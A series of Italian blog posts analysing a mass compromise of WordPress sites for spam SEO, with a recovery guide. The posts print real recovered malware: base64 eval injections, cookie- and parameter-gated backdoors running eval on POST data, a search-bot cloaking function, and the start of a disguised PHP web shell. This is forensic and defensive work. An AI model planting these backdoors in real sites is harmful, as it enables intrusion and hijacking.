Il non-blog di Mario Pascucci

Sto lavorando sodo per preparare il mio prossimo errore (B. Brecht)

Articoli con tag website intrusion

Owned Wordpress blog: ricapitolando

Jun 30

Pubblicato da Mario Pascucci in Information security, Wordpress | 8 commenti

Riassumo qui tutto quello che ho scoperto sull’attacco massivo in atto contro i blog basati su Wordpress.

La situazione

Wordpress in versione precedente alla 2.5.x è vulnerabile ad una vasta gamma di attacchi che non sono contrastabili se non in un unico modo: tenere aggiornato Wordpress. Non esistono altri metodi, non per i comuni mortali.

L’attacco è generalizzato, nessuno è al sicuro. Se il blog è presente nei motori di ricerca (Google, MSN, Altavista, Yahoo, ecc.) è solo questione di tempo. La riuscita dell’attacco è indipendente dal tema utilizzato, riesce anche con il tema di default. Quello dei temi infetti è un altro problema.

Se il blog viene compromesso, un aggiornamento non risolve, e non risolve neanche una sommaria ripulita al database: l’intrusione è profonda e su molti fronti. Se ci si limita ad un aggiornamento ed a una sommaria pulizia del database, in breve il blog sarà di nuovo compromesso. Ci sono blog con Wordpress 2.5.1 con lo stesso problema e ci sono stati casi di blog violati, i cui proprietari sono stati avvertiti da me, puliti sommariamente e ri-violati nel giro di mezzora. Quindi la pulizia deve essere totale, come spiegato qui.

La sequenza di intrusione

Questa è verosimilmente la sequenza che porta alla violazione del blog. E’ ricostruita sulla base degli esemplari di codice e database forniti da persone coraggiose che non finirò mai di ringraziare. E che dovreste ringraziare tutti.

Selezione del blog bersaglio

L’attaccante cerca i blog basati su Wordpress con semplicissime query ai principali motori di ricerca. Usa strumenti automatizzati, che gli garantiscono di riuscire a trovare un gran numero di possibili bersagli. Attraverso una forma di fingerprinting determina la versione di Wordpress installata nel bersaglio. A questo proposito è del tutto inutile nascondere la versione che viene inserita nel tag apposito:


<meta name="generator" content="WordPress 2.5.1" />

l’attaccante usa un algoritmo molto più sofisticato per determinare la versione, ed ignora del tutto, o quasi, la stringa nell’header della pagina HTML emessa da Wordpress. Per dare un’idea, viene controllata l’esistenza di alcuni file e directory caratteristiche di certe versioni, come pure il formato dei feed.

Creazione di un amministratore abusivo

Attraverso un attacco di tipo SQL injection, sfruttando le suddette vulnerabilità di Wordpress, viene creato un amministratore “abusivo” del blog. Il tipo di attacco è calibrato sulla versione di Wordpress rilevata, quindi ce n’è per tutti. L’amministratore creato con questa tecnica è invisibile dal pannello di amministrazione utenti (dettagli qui), a meno di usare trucchi o di esaminare direttamente il database. L’utente abusivo si chiama di solito “WordPress” (la ‘W’ e la ‘P’ maiuscole), ma non è detto che rimanga così.

Iniezione dei primi file

Una volta ottenuto l’accesso amministratore, viene esaminato lo spazio di hosting, per capire se e quali file e directory permettono la scrittura e la modifica dei file, se è permesso il download e l’esecuzione diretta di script PHP da altri siti e varie altre impostazioni. Se la directory dei temi è scrivibile, viene inserito un file PHP con un nome camuffato o insospettabile in uno dei temi installati, di solito quello “Classic”, che nessuno va a guardare. Tipicamente ha il nome di un altro file presente fra quelli del tema, con aggiunto in coda al nome la stringa “_old”, e non è detto che l’estensione sia “.php”. Ho trovato falsi file ZIP, false immagini PNG e JPG. Oppure è un file PHP con un nome verosimile: functions.php, locals.php e simili. Stessa cosa può succedere con la directory dei plugin, dove in qualche caso ho trovato dei falsi file ZIP con lo stesso nome di uno dei plugin installati, in realtà file PHP.
Se nessuna directory o file è scrivibile, tranne quella degli upload o quella dei backup, il file viene iniettato in quelle posizioni.
Se tutti i file sono modificabili dagli script PHP stessi, come succede in alcuni hosting, vengono modificati alcuni file dell’installazione di Wordpress, iniettando poche righe di codice, anche una sola, di solito offuscata o ricodificata in Base64 o simile. Questo semplifica parecchio l’attacco.
In qualche caso, se la configurazione del server lo permette, il file è iniettato nella directory /tmp del server, con il nome che scimmiotta i file di sessione PHP: sess_11a2d23b2......, la stringa esadecimale nel nome è praticamente casuale.
In totale i file iniettati sono almeno due: il plugin camuffato ed una sorta di shell remota che permette di modificare a piacere file ed eseguire comandi impartiti da remoto.

Iniezione di codice e dati nel database

Uno dei file appena iniettati viene inserito come plugin agendo direttamente sulla corrispondente opzione nel database di Wordpress. Naturalmente anche questo plugin “abusivo” è invisibile dal pannello di gestione dei plugin. Il nome può variare, come detto sopra, come pure la posizione. La funzione del plugin è molteplice: iniettare i link di spam al momento della visita dello spider di uno dei motori di ricerca noti, controllare che il codice iniettato sia presente ed attivo, altrimenti operare automaticamente l’iniezione del codice negli script PHP originali. Ecco uno dei motivi per cui la semplice reinstallazione, o l’aggiornamento, e la sommaria pulizia del database non funziona: anche cancellando l’utente abusivo e togliendo i link di spam, il plugin rimane attivo, per via della posizione in cui è nascosto il file, ossia nel tema, cosa che si tende a preservare, negli upload o nella directory /tmp a cui non si pensa proprio. Alla prima occasione il plugin rimette tutto a posto. Il blog, anche se aggiornato all’ultima versione di Wordpress, è già compromesso.
Altro gruppo di dati che viene inserito è il blocco dei link spam. E’ nascosto nel database come opzione fasulla di Wordpress, oppure nella cache dei feed letti dai vari blog di sviluppo e news che si vedono nel pannello di amministrazione, ed è una lunga stringa, oltre 16kb, codificata in Base64, preceduta dalla stringa eval(base64_decode(, in qualche caso è anche rovesciata, quindi in testa non ha niente, ma in coda è presente la stringa: (edoced_46aseb(lave. In altri casi, i link non sono nel database, ma nel file wp-includes/class-mail.php, che non appartiene ai file standard dell’installazione. Il file è un array serializzato con apposite funzioni PHP (dettagli qui). Questo però nelle versioni più vecchie. Nelle ultime versioni in mio possesso il file non esiste più e viene usato il database, più complicato ma molto meno visibile.
In un paio di casi ho trovato nel database anche una copia di uno dei file iniettati, ricodificato anch’esso in Base64 per nasconderlo. Probabilmente è una copia di riserva da recuperare ed attivare se il blog viene ripulito dal proprietario.

Modifica del file index.php

Se l’hosting ha una configurazione di sicurezza “debole”, e quindi permette la modifica da parte degli script PHP stessi di tutti i file dell’installazione di Wordpress, viene cambiato il file index.php nella directory principale del blog. Nelle versioni da me esaminate c’era una istruzione di include di un file preso da un sito remoto. Questo file è quello che opera il redirect verso i siti di spam, di solito farmacie online. Non sono riuscito a mettere le mani su questo file, il download è probabilmente subordinato ad una qualche forma di protezione, tipo il controllo dello user agent o dell’indirizzo IP di chi chiede l’accesso al file. Vista la complessità e l’organizzazione dell’attacco, non mi stupirebbe che sia fatto un controllo verso un database di siti compromessi prima di consentire l’accesso al file.
Non tutti i siti hanno questa variante. Dipende molto dalla versione e dalla configurazione del server. Ma quelli che la possiedono vengono inclusi nelle liste di link in altri blog violati, per consentire appunto la ridirezione al sito degli spammer.

Altri file modificati

Il codice usato nell’attacco è in diverse varianti, e ci sono segnali che è in continua evoluzione, cambiando ed affinando le tecniche sia di intrusione che di evasione dei controlli. In qualche caso ho trovato del codice inserito come action, nel file wp-includes/default-filters.php. Lo stesso file conteneva una sorta di sistema di esecuzione di codice da remoto (dettagli qui), con tanto di autenticazione tramite cookie.

Come accorgersene

Non è per niente banale. Ci sono decine di blog italiani violati e centinaia in tutto il mondo, e nessuno dei proprietari si accorge di nulla. A differenza delle prime varianti, dove si avevano malfunzionamenti che potevano insospettire, le versioni ora in circolazione sono molto meno banali, e sono molto difficili da trovare “per caso”. Chi ha sviluppato il codice ed il metodo di violazione è partito dall’obbiettivo di nascondere il più possibile al legittimo proprietario ed ai visitatori abituali la presenza della violazione. Presenza che sfugge anche ad un controllo sommario. Se non si opera in modo mirato, non si noterà nulla di strano. Ho attrezzato un test di “infezione”, che esegue alcuni semplici controlli sulla pagina principale del blog, cercando i segni, assolutamente non evidenti, dell’infezione. Segni che potrebbero a breve cambiare e rendere inefficace il controllo stesso. Per questo motivo non posso per ora aprire il codice del controllo o descriverne nei dettagli il funzionamento. Se gli spammer scoprono i punti deboli del mio controllo, e ve ne sono, lo possono rendere inefficace in breve tempo, ed avremmo tutti un’arma in meno. Altra strada per trovare i segni dell’infezione è descritta qui, in un breve documento che ho scritto specificamente per CFItaly. E’ chiaramente un documento diretto a persone dotate di specifiche conoscenze e non una ricetta passo passo, quindi non è assolutamente fruibile per gli utenti “fai-da-te”. Nessuna connotazione dispregiativa in questo, ma se non si possiedono alcune competenze specifiche è del tutto inutile leggere un simile documento.

Come uscirne

Una procedura a grandi linee l’ho descritta qui. Occorre tenere presente che il metodo di attacco cambia continuamente, e chi ha sviluppato il kit del perfetto devastatore di blog non è un cretino qualsiasi: è una persona con competenze molto al di sopra della media degli sviluppatori web, ed in generale anche alla media degli sviluppatori in generale. Sia il test che la procedura per ora dovrebbero funzionare su tutte le varianti, anche sulle più recenti. La procedura è generica, nel senso che segue le linee guida delle normali operazioni da fare quando si ha a che fare con un server violato, ossia parte dal presupposto che niente sul quel server è più affidabile, anche i comandi più semplici. Quindi dovrebbe continuare ad essere utilizzabile anche se lo schema di infezione dovesse cambiare totalmente.
Quello che forse potrebbe smettere di funzionare è il test, a causa di quanto detto sopra. Inoltre c’è il problema che per me è sempre più difficile reperire codice infettato, ossia il contenuto dei blog colpiti, sia come file che come dump del database.
Naturalmente nelle mail che ho inviato a molti c’era la richiesta, ma i più la ignorano. Questo sta togliendo a tutti noi un’arma potentissima: il codice stesso dell’infezione, quindi la possibilità di esaminare come opera e quali sono i suoi punti deboli. Senza quel codice non si può fare nulla.

Temi ed equivoci

Qualche settimana fa il test che ho attrezzato ha avuto un minimo di risonanza in Rete, ma con un problema: è stato scambiato per un test volto ad appurare se il tema è “infetto”. Il problema dei temi troianizzati è in realtà molto differente, e riguarda un altro aspetto della sicurezza di Wordpress. Ho scritto un altro articolo in proposito qui. Per ora il tutto si limita ad un modo per iniettare pochi link di spam, una decina al massimo, nel footer del blog, ed in più a proteggere il tema dalle modifiche, inserendo codice offuscato e ricodificato nel file footer.php.
Ma… c’è un grosso ma. Se dovesse succedere che l’attacco in corso esaurisse la sua efficacia, niente ci può garantire che il prossimo veicolo di infezione siano proprio i temi scaricati ed installati senza verificarne la provenienza. Il metodo è semplicissimo da applicare: una volta che abbiamo inserito un file PHP nel nostro sito senza appurare cosa faccia, per chi ha nascosto codice malevolo nel tema è un gioco da ragazzi violare il nostro blog.
Quindi, chiarito che il mio test NON può verificare se il tema installato in un blog è “infetto” o troianizzato, l’unica possibilità è di installare solo i temi di cui possiamo verificarne la provenienza o quelli di cui possiamo controllare agevolmente il codice. La semplice presenza di stringhe codificate in Base64 ed eseguite con una istruzione eval() è un segno molto poco rassicurante. Ma il mio test non può controllare questo. E’ impossibile. E’ vero però che l’infezione rilevata dal mio test è infinitamente più pericolosa.

Conclusione

Come ho già spiegato qualche tempo fa, non è facile fare il webmaster. Le conoscenze necessarie sono tante e in ogni caso potremmo non avere quelle giuste per fronteggiare una situazione come questa che stiamo affrontando.
Se poi ci si mette la faciloneria e la leggerezza nel fare le cose, il rischio di rimanere scottati è molto alto. Per carità, nessuno vuole impedire alle persone di esprimersi liberamente, se però siamo a corto di competenze, e solo perché non è il nostro campo, ci sono validissime alternative a fare il blogger fai-da-te, basta riconoscere con un po’ d’umiltà che forse è al di là delle nostre capacità. Blogspot, Splinder, Wordpress.com e tanti altri sono a disposizione per chi vuole concentrarsi su quello che ha da dire, invece di trovarsi invischiato in grossi guai. Questa è la mia opinione. Poi ognuno è libero e consapevole delle sue scelte, quindi niente da dire se si preferisce un hosting e la scelta di fare da sé. Solo che Internet è un luogo ostile.

Per cui occhi aperti e Trust no one.

Tags: , , ,

Owned Wordpress: the day after

Jun 27

Pubblicato da Mario Pascucci in Information security, Wordpress | 16 commenti

Alla fine, nonostante tutta la nostra attenzione, è successo: siamo vittima di una intrusione nel nostro blog, basato su Wordpress.

I primi sentimenti sono rabbia e vergogna, anche se a pensarci bene c’è poco da vergognarsi: come se fosse colpa nostra se dei mentecatti vanno in giro a sfasciare il lavoro degli altri…

Cosa fare? Ecco una breve guida su come rimettere in piedi il nostro amato blog. Naturalmente non è la guida definitiva, i nostri amici mentecatti riescono a fare cose realmente abominevoli, ma dovremmo essere in grado di recuperare la quasi totalità dei casi.

Come al solito, andiamo con ordine.

Salvare il salvabile

Per prima cosa facciamo un backup completo del database di Wordpress. Di seguito facciamo anche una copia completa del contenuto dell’installazione del blog sul server, ossia tutti i file contenuti nello spazio di hosting. Questo perché il nostro amico mentecatto ha certamente piazzato le sue mine in giro per le varie sottodirectory del sito. In molti casi sono file apparentemente innocenti, con il nome che termina in _old, come se fosse un nostro file salvato per una modifica. Non è detto che siano file PHP, possono essere JPG, PNG, JS, qualsiasi cosa, ma dentro contengono tutt’altro, e possono essere inclusi ed eseguiti da altri file PHP, oppure “chiamati” direttamente con l’URL per eseguirli ed attivarli.

Se avete un amico di cui vi fidate, e che sia molto pratico di Wordpress, database, PHP e cose di questo tipo, potete fornirgli tutti e due i gruppi di dati: potrà indicarvi come e dove sono piazzate le mine.

Potete anche mandarli a me, dietro accordi preliminari. Nel database vi è tutta la vostra produzione, ma non è quella che mi interessa, se volessi potrei prenderla direttamente dal sito, visto che è pubblicata, come pure i file dell’installazione di Wordpress che, ricordiamolo, è un Open Source, quindi non c’è nulla di segreto. Mentre è importantissimo poter esaminare come opera il nostro amico mentecatto, per poterlo contrastare efficacemente. Per questo ho bisogno sia del backup completo del database che di tutti i file contenuti dentro l’installazione del blog, anche di quelli che credete di aver messo voi. Ma questo non è assolutamente obbligatorio. Naturalmente, se volete che possa continuare a contrastare il nostro amico mentecatto, scrivendo ad esempio documenti come questo, o tenendo aggiornato il test di contagio, ho assoluta necessità dei dati del vostro blog violato.

Ma andiamo avanti con le operazioni di bonifica.

Abbiamo due possibilità: tentare una bonifica andando ad eliminare le mine una alla volta, ma posso assicurarvi che non è per niente banale, il nostro amico mentecatto ha fatto bene il suo lavoro; oppure ripartire da una installazione pulita, che è la situazione che vi consiglio caldamente.

Di seguito facciamo una operazione di Export, tramite la funzione apposita nel pannello di amministrazione di Wordpress. Questa funzione genera un file con tutto il contenuto originale di Wordpress: articoli, commenti, categorie, tag, insomma, tutto quello che conta. Quello che è certo è che lascia fuori quasi certamente tutte le mine disseminate dal nostro amico mentecatto. Solo nel caso, visto in alcuni blog, di link spam nascosti in normali articoli, questi rimarranno: occorrerà pulire gli articoli uno ad uno, ma non è una mina, è solo codice HTML, statico, niente di pericoloso. Basta ripulirlo editando l’articolo, ma lo faremo dopo.

Edit delle 17.15
Se il nostro blog ha una versione molto vecchia di Wordpress, precedente alla versione 2.1.x, non c’è la funzione di Export, disponibile appunto a partire dalla versione 2.1.x. Una soluzione percorribile può essere di fare un aggiornamento “di comodo” del solo codice del blog alla versione 2.2, 2.3 o 2.5, usando il tema di default e disabilitando tutti i plugin, per poter utilizzare l’esportazione, poi procedere con il seguito delle operazioni.

Via tutto

Via il database, via tutti i file nello spazio di hosting. Ma proprio tutto. Deve rimanere il vuoto. Il database deve essere cancellato, o quanto meno eliminate tutte le tabelle, anche se il nostro amico mentecatto potrebbe averne create di proprie, quindi meglio eliminare tutto.

Se proprio vogliamo essere gentili con i nostri visitatori e lettori, carichiamo un bel file index.html con un cartello “Chiuso per Manutenzione”, che abbiamo preparato in anticipo. Niente PHP, mi raccomando.

Il nuovo database

Adesso possiamo creare la nuova installazione, partendo appunto dal database. Per prima cosa cambiamo la password di accesso al database. Il mentecatto ha avuto accesso a tutti i file dell’installazione, tra cui il prezioso wp-config.php, che contiene utente e password del database. Quindi dobbiamo cambiare almeno la password di accesso. Se poi il nostro servizio di hosting lo permette, cambiamo anche il nome del database e dell’utente usato da Wordpress, oltre alla password. I dati che il mentecatto ha in mano devono diventare inutili.

Wordpress, ultima versione

Andiamo sul sito di Wordpress e prendiamo l’ultima versione rilasciata. Installeremo quella e non la vecchia: se rimettiamo quella che avevamo prima, stiamo di nuovo consegnando il nostro blog nelle mani del mentecatto. Se non potete aggiornare per via di quel bellissimo tema che avevate, o di quei plugin irrinunciabili che sulla nuova versione non funzionano, buttate tema e plugin: non aggiornando consegnate il blog al mentecatto. Senza eccezioni. Al diavolo temi e plugin.

Non ci sono altre possibilità, né se o ma: dovete aggiornare all’ultima versione di Wordpress, questa è l’unica cosa irrinunciabile.. Altrimenti tanto vale che rimanete col blog compromesso, in compagnia del mentecatto che scrive le sue cose insieme a voi. Se pensate che siano battute o esagerazioni, non sarò io a sprecare il fiato per convincervi del contrario: smettete di leggere immediatamente questo testo, stiamo sprecando tempo in due, io a scriverlo e voi a leggerlo. E salutatemi tanto il mentecatto. Che, lo ricordo è un amministratore del blog, quindi può fare di tutto, anche buttarvi fuori dal blog.

Fatta l’installazione pulita, possiamo partire con l’attivazione del nuovo blog. Ovviamente il nuovo file wp-config.php conterrà tutt’altre cose rispetto al vecchio. Già che ci siamo possiamo anche dare una rinforzata alle difese del blog, come spiegato qui.

Una volta attivato il nuovo blog, possiamo ricreare gli utenti, facendo attenzione a cambiarne le password di accesso. Il mentecatto ha avuto accesso al database, che le contiene sotto forma di hash non reversibile, ma esistono le rainbow tables, quindi meglio stare sul sicuro. Tanto più che le password nel database sono cifrate (non è proprio così, ma non stiamo a sottilizzare), ma quelle che inseriamo per entrare arrivano in chiaro e il mentecatto può aver messo un frammento di codice PHP per intercettarle e leggerle prima che siano trasformate in hash.

Poi passiamo a riconfigurare le opzioni di funzionamento del blog, secondo i nostri gusti e necessità.

Tema e plugin

Possiamo ora rimettere quei plugin che funzionano con la nuova versione di Wordpress, ma installando i file presi dal sito originale del plugin, non quelli presi dal backup del blog. Prenderemo ovviamente le ultime versioni, e scarteremo senza pietà quelli che non funzionano.

Stessa cosa per i temi, facendo attenzione a non installare un tema troianizzato, cosa assolutamente da evitare. Se il vecchio tema non funziona con la nuova versione di Wordpress, pazienza, ne useremo uno nuovo. Non useremo nessun file preso dalla vecchia installazione, pena l’invito al mentecatto a rientrare nel blog.

Ripristinare i file in upload

Ora arriva la parte più delicata. Occorre rimettere sul sito i file che avevamo caricato nel tempo, durante la normale attività. Immagini, documenti PDF, presentazioni, file audio o video, insomma tutti i nostri contenuti. Se pensiamo di prendere la directory uploads dalla vecchia installazione e rimetterla al suo posto, abbiamo già sbagliato. Andiamo a prendere i file originali e li metteremo al loro posto, se li abbiamo, altrimenti possiamo riutilizzare quelli del backup, ma prima li controlliamo uno ad uno, aprendoli per esaminarne il contenuto. Non ci fideremo di quello che dice il nome del file: lo apriremo e ne ispezioniamo il contenuto. Se è una immagine, la apriremo col nostro programma di visualizzazione o editing preferito. Se è un PDF, lo scorreremo per vedere che sia un PDF, e non qualcos’altro. Con l’occasione, possiamo togliere quelli non più utilizzati, col vantaggio di guadagnare un po’ di spazio sprecato, che non fa mai male.

Non è un passo che si può saltare, e non deve essere sottovalutato. In quei pochi blog che ho potuto esaminare personalmente, il mentecatto aveva piazzato le sue mine ogni volta in un posto differente: come falso file Javascript, come immagine nel tema, rinominata _old.jpg, come finto file .zip con lo stesso nome di un plugin installato, tanto per fare qualche esempio. Tutti invece erano file PHP che venivano inclusi ed eseguiti da un altro pezzo di codice iniettato dal mentecatto. Se puliamo tutto e poi lasciamo anche uno solo di questi file negli upload, stiamo lasciando un invito gratuito al mentecatto. Che non esiterà ad accettare, e saremo daccapo.

Rimettiamo dentro tutto il resto

Ora che tutto è in ordine, possiamo usare la funzione di Import dal pannello di amministrazione di Wordpress e caricare il file salvato in precedenza. Al termine del caricamento, la funzione di Import ci chiederà la corrispondenza fra i vecchi autori ed utenti ed i nuovi, così da associare correttamente la proprietà di ogni articolo.

Restart

Dovremmo aver terminato. Naturalmente faremo un giro di ispezione al blog, per vedere che immagini, articoli, categorie e tag siano al loro posto. La procedura è lunga e faticosa, ma l’intrusione è molto pesante e subdola, per cui è assolutamente necessario operare in condizioni di assoluta sicurezza. Ecco il motivo delle cancellazioni di database e file, dei cambi di password e dell’ispezione accurata di tutto il materiale.

La convalescenza

Ora il nostro amato blog è a posto. Da ora in poi aggiorneremo sia Wordpress che i plugin ad ogni rilascio. E se un plugin smette di funzionare, vi rinunceremo, piuttosto che ritardare l’aggiornamento di Wordpress: il mentecatto è sempre là fuori in attesa di un nostro momento di disattenzione.

Tutti i passi sono fondamentali

Se pensiamo di fare le cose in fretta, saltando uno dei passi, non risolveremo niente. Vi sono blog che hanno tutti i segni di un aggiornamento affrettato, senza pulizia del database e degli upload, e contengono centinaia di link di spam nascosti negli articoli. Il mentecatto ha provveduto a fare l’unica cosa che poteva: da amministratore ha modificato qualche articolo per includere i link, nascosti con un comando di stile CSS. E’ ancora lì, annidato nel blog.

Altri blog sono tornati ad essere compromessi. Il mentecatto sa che voi tenterete l’aggiornamento ed ha preso tutte le contromisure. Rimarrà nascosto fino a quando sarà certo di averla scampata, poi tornerà a prendere possesso del vostro blog.

Conclusione

Chiudo qui. Sono a disposizione per chiarimenti e per aiutarvi, non voglio niente in cambio. Vi chiedo solo di non sottovalutare il fatto di avere un sito compromesso. Al recente convegno di CFItaly ho parlato di come un blog compromesso può essere sfruttato per commettere crimini, non solo di tipo informatico (vedere la mia presentazione qui).

Naturalmente vi invito a leggere tutti gli altri articoli sul tema, pubblicati nella categoria Wordpress.

Tags: ,

Spam con Wordpress: sempre più sofisticato

May 16

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Wordpress | 1 commento

Continua la serie con l’indagine su vari blog compromessi, le puntate precedenti sono:

Ho ancora altri due siti da analizzare. Quello che è ormai chiaro è l’estensione dell’infezione, siamo a centinaia di siti sicuramente colpiti. La notizia buona, si fa per dire, è che la maggior parte dei blog violati sono abbandonati a se stessi da mesi o anni. Ma è una buona notizia a metà.

Fino ad ora chi ha violato questi siti si è limitato, se di limite si può parlare, ad usarli per fare pubblicità a farmacie online, suonerie per cellulari, società di rifinanziamento e simili. Insomma, roba solita dello spam. Nessuno vieta però di pensare ad altri usi, molto meno “amichevoli” sia verso il proprietario del sito che verso gli eventuali visitatori.

E le prime avvisaglie non tardano ad arrivare. Il codice usato è in continua evoluzione ed in decine di varianti diverse, come differente è il tipo di attacco. Uno dei siti analizzati non ha nessuna modifica ai file di Wordpress, ma il proprietario ha installato un tema e lo ha personalizzato. Nel file header.php l’attaccante è riuscito ad infilare queste due righe di codice:


eval(base64_decode('JGZsbj0nd3AtY29udGVudC90aGVtZXMvdGlnYS9qcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRmbG4pKXtpbmNsdWRlX29uY2UoJGZsbik7fQ=='));
...
eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSl7ZWNobyBnbWwoKTt9'));

con il solito schema di offuscamento del codice. Il codice PHP reale è:


$fln='wp-content/themes/tiga/js.php';if(file_exists($fln)){include_once($fln);}
...
if(function_exists('gml')){echo gml();}

Lo scopo è sempre lo stesso: se esiste un certo file lo include, e poco dopo chiama una funzione definita nel file incluso. Il lavoro della funzione è quello di controllare lo user agent di chiunque visita il sito e se risulta lo spider di un motore di ricerca infarcisce la pagina di spam link.

In un caso ho potuto guardare anche dentro il database del blog compromesso, e c’è una sorpresa anche lì. Uno dei record della tabella wp_options, ha come nome wordpress_options. Questa specifica opzione ha assegnato un valore di oltre 16kbyte, che inizia così:

; ))"=szJ14iMnASPg4

e finisce così:

Iw1Gdi0DdjFGJ"(edoced_46esab(lave

Privo di senso, a prima vista. A colpo d’occhio, i 16kbyte di caratteri sembrano una classica codifica base64, ma passati così come sono al decoder restituiscono un errore. La parte terminale è un indizio importante: leggendola al contrario è:

eval(base64_decode("....

Un breve script shell, invertita la stringa viene restituito un codice PHP esattamente identico a quello del file incluso in header.php del tema.

L’attaccante, in questo caso specifico, ha cambiato la data di tutti i file del sito sul server ad una data e ora unica, certamente non corrispondente a nessuna data utile. Quindi niente linea temporale: non possiamo sapere facilmente quali file siano stati modificati e quando, semplicemente guardando la data. Inoltre non abbiamo un momento preciso in cui andare a guardare nei log del web server.

Una curiosità: in fondo a questo file incluso viene ridefinita la variabile globale $wp_version che contiene la versione ufficiale di Wordpress installata. Il valore assegnato è 2.5. Se magicamente vi trovate il blog aggiornato a Wordpress 2.5 e non ricordate di averlo fatto è molto probabile che il blog non vi appartenga più.

Tags: , ,

Spam con Wordpress: altri esempi di codice iniettato

Apr 28

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Wordpress | 1 commento

Ho ricevuto altri due tarball di siti web compromessi.

Entrambi hanno lo stesso schema di intrusione. Li sto ancora analizzando, e stavolta il cracker è più furbo dei precedenti. Il codice è iniettato su parecchie pagine, subito dopo la sequenza di escape del PHP, in questo modo (tratto dal file wp-admin/index.php):


<?php
  if(md5($_COOKIE['_wp_debugger'])=="788d0899a96f367ef0b93356bc87c28a") {
    eval(base64_decode($_POST['file']));
    exit;
  }
?>
<?php
  if($_GET['4bb9dfc9087f6880']=="3af2f3a320b6d01a") {
    eval(base64_decode($_POST['file']));
    exit;
  }
?>

Il primo if sembra essere una forma di identificazione: se nel browser del visitatore è presente un certo cookie viene eseguito del codice, risultante dalla funzione eval applicata sul contenuto della richiesta POST. Il secondo assomiglia al primo, solo che viene controllata la presenza ed il valore di una variabile di tipo urlencoded. Questo sito è stato compromesso più volte, almeno due, con versioni successive installate forse da due cracker differenti.

La parte più “gustosa”, si fa per dire, è quella del rilevamento dello user agent e della “farcitura” della home page di link spam (tratto dal file wp-includes/default-filters.php):


add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
  $seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol");
  $sebot="";
  foreach($seau as $ua)
    if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; }
  if(!($sebot==1 && sizeof($_COOKIE)==0)) return;
  @include('./wp-includes/class-mail.php');
  if(sizeof($wparr)>0){
    echo "<div id=\"_wp_footer\">";
    foreach($wparr as $k=>$v){
      echo "<a href=\"".$v['url']."\" title=\"".ucwords($v['key'])."\">".ucwords($v['key'])."</a>\n";
      if($i++==$inum) break;
    }
    echo "</div>".$_footer;
  }
}

Notare la lista delle stringhe per lo user agent, alla variabile $seau.
Questo tipo è quello che usa il tag <div> con ID pari a “_wp-footer”, visto qui.

Nell’albero delle directory dell’installazione di Wordpress compromessa vi sono alcuni file estranei, riconoscibili per via dell’ultima lettera dell’estensione del nome duplicata: en_new.php.jpgg, mcwindows.php.giff, Downloads_old.php.jpgg.

Il contenuto, come è facile immaginare, è completamente differente da quello che l’estensione sembra suggerire: sono script PHP che iniziano in questo modo:


<?php
  if(md5($_COOKIE['qwerty'])=="bed5666cccb90054bec0058e9f28d91c"){
    clearstatcache();
    set_magic_quotes_runtime(0);
    if(!function_exists('ini_set')){
      function ini_set(){
        return FALSE;
      }
   }
...

La prima riga è proprio una autenticazione, il resto del file contiene varie funzioni, le più interessanti sono una che tenta la modifica di alcune variabili di funzionamento dell’interprete PHP, per la precisione max_execution_time e output_buffering, ed una che controlla l’impostazione del “safe mode”. Segue una rudimentale shell via web che permette di creare directory, modificare file, rimuovere file o directory, fare l’upload di file, eseguire comandi via shell. Ed ancora, una funzione che scandisce l’albero di directory a partire da un punto e cerca file e directory modificabili con l’utente con cui viene eseguita la shell, ossia il web server. Ultima finezza, una funzione che permette di aprire e modificare un file e rimette data ed ora di ultima modifica a quella precedente le modifiche, come se il file non fosse mai stato toccato.

Insomma, il kit del provetto cracker.

Devo dire che c’è da imparare da questa gente. Alcune tecniche di programmazione sono realmente istruttive. C’è una funzione che cerca, fra le varie disponibili nelle tante versioni rilasciate di PHP, quella esistente nell’installazione in cui viene messa in esecuzione, a scelta fra: exec, shell_exec, system e passthru.

Tags: , , ,

Spam con Wordpress: primi dettagli su un sito compromesso

Apr 24

Pubblicato da Mario Pascucci in Computer Forensics, Information security, Wordpress | 3 commenti

Grazie alla competenza ed alla estrema gentilezza di un webmaster, ho potuto analizzare il codice di uno dei siti compromessi negli ultimi tempi.

L’attacco è stato compiuto sfruttando una delle vulnerabilità note delle versioni 2.0.x di Wordpress, ed il risultato è stato di iniettare file PHP sia nella directory del tema Classic che in una delle directory accessorie dell’editor TinyMCE. Tramite questi due file l’attaccante è poi riuscito ad iniettare due singole righe di istruzioni in PHP all’interno del file wp-includes/function.php che iniziano così:


eval(base64_decode(.....

e contengono una lunga stringa di caratteri alfanumerici, in codifica Base64. La prima equivale a:


if(!$GLOBALS['dhhag']){if(have_posts()){$GLOBALS['dhhag'] = 1;if(function_exists('gml')){echo gml();}}}

ed è iniettata dentro la funzione mysql2date

La seconda è iniettata fra le funzioni is_archive e is_date: controlla se esiste il file dentro le directory di TinyMCE e lo include.

Lo stile di scrittura è tipico del codice offuscato, ossia un sorgente sintatticamente corretto, ma umanamente difficile da leggere, proprio di tool usati o scritti da cracker o hacker blackhat.

In sostanza il file dentro TinyMCE viene richiamato sia da Wordpress durante il suo funzionamento, sia esternamente dall’attaccante. Esaminando brevemente il codice, si evince che contiene funzioni per:

  • Iniettare le due righe dette poco sopra nel file wp-includes/function.php
  • scaricare nuove versioni di se stesso
  • scaricare dati di lavoro dal server
  • analizzare lo user agent dei visitatori e reagire alla presenza di determinate stringhe: google, msn, slurp
  • riportare la propria attività su richiesta

E’ un tool automatizzato scritto appositamente, e fatto per lavorare in parallelo su un gran numero di siti compromessi. Una volta che l’attaccante lo ha iniettato nel sito vittima, lo attiva semplicemente richiamandolo tramite URL. Il risultato è un form con le opzioni da inserire, segue poi una chiamata ad un differente URL per attivarlo. Qui sotto un esempio del form.

Il form di setup del malware

I due siti cinesi che vedete nell’immagine del form sono quelli usati dal malware iniettato per ottenere i dati di lavoro.

Nella stessa directory ci sono i file di lavoro, con nomi che sono sequenza di 32 cifre esadecimali. Il contenuto è facilmente immaginabile: tipici messaggi spam con link ad altri siti, tutti blog già compromessi. E’ assai probabile che anche in questi siti si troverà il comportamento di redirect visto in precedenza.

Sono centinaia di link, ed ogni sito a cui puntano ne contiene di nuovi. E’ umanamente impossibile pensare di avvertirli tutti, ma ci sto provando.

